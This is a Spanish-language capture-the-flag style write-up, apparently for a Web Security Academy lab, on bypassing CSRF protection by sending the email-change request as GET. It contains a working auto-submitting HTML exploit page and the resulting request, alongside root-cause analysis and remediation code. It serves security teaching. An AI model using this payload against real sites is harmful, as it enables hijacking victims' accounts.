CSRF where token validation depends on request method
Bypass de protección CSRF cambiando el método HTTP: el servidor solo valida el token en POST, por lo que un formulario GET auto-submit cambia el email de la víctima.
Target Overview & Vulnerability Summary
El lab intenta proteger el cambio de email con un token CSRF, pero solo aplica la validación a ciertos métodos de request. La funcionalidad acepta GET para mutar el email; al enviar el formulario con método GET, el token ya no se valida y el cambio de estado se ejecuta igualmente.
| Campo | Valor |
|---|---|
| Severidad | Media (cambio de estado autenticado cross-site) |
| Endpoint vulnerable | /my-account/change-email (vía GET) |
| Root cause | Validación de token CSRF dependiente del método HTTP — solo se verifica en POST |
Credenciales del laboratorio: wiener:peter.
Technical Breakdown & Exploitation Flow
1. La protección legítima en POST
El formulario de cambio de email envía un POST con un token CSRF:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="">
<input required="" type="hidden" name="csrf" value="jth5rZrNeODnhqIRAsBx0tS8pyZdXodd">
<button class="button" type="submit"> Update email </button>
</form>
2. Exploit con método GET
La validación del token se aplica únicamente a POST. Se reutiliza el mismo formulario pero con method="GET": el parámetro csrf se omite, y como el servidor no exige token en GET, la mutación del email se ejecuta con la cookie de la víctima.
<html>
<head>
<title>CSRF-2</title>
</head>
<body>
<form action="https://0a8100ca03a1ba588113a7d9008400c9.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Flujo de explotación:
- La víctima visita la página hosteada en el exploit server.
- El formulario
GETse envía de forma automática; el navegador serializa los campos en el querystring. - El servidor recibe
GET /my-account/change-email?email=attacker@evil.com, no encuentra token que validar (o no lo exige para GET) y actualiza el email. - La cookie de sesión viaja igualmente en la request.
Request resultante (equivalente):
GET /my-account/change-email?email=attacker@evil.com HTTP/2
Host: 0a8100ca03a1ba588113a7d9008400c9.web-security-academy.net
Cookie: session=<SESSION_ID>
Root Cause Analysis
La causa raíz es aplicar la defensa anti-CSRF de forma inconsistente por método HTTP. El servidor asume que solo POST (o los métodos que usa la propia UI) pueden mutar estado, y deja GET sin protección. Dado que el framework/endpoint procesa GET como una mutación válida, el atacante solo necesita cambiar el método del formulario para eludir la validación: el token nunca llega a ser inspeccionado. La regla de oro rota aquí es "todas las requests de cambio de estado deben validarse por igual, independientemente del método".
Secure Remediation
- Validar el token CSRF en todos los métodos que pueden mutar estado (
POST,GET,PUT,PATCH,DELETE), o más estrictamente, restringir la mutación aPOSTy validar el token en esa vía única:
# Servidor
def change_email():
if request.method != "POST":
abort(405)
if request.form.get("csrf") != session["csrf_token"]:
abort(403)
# ... mutación del email
- Nunca implementar la mutación en
GET: contraviene la semántica HTTP (safe method) y convierte el endpoint en un vector CSRF trivial y cacheable. - Complementar con cookie
SameSite=Lax/Stricty validación deOriginen las peticiones de cambio de estado.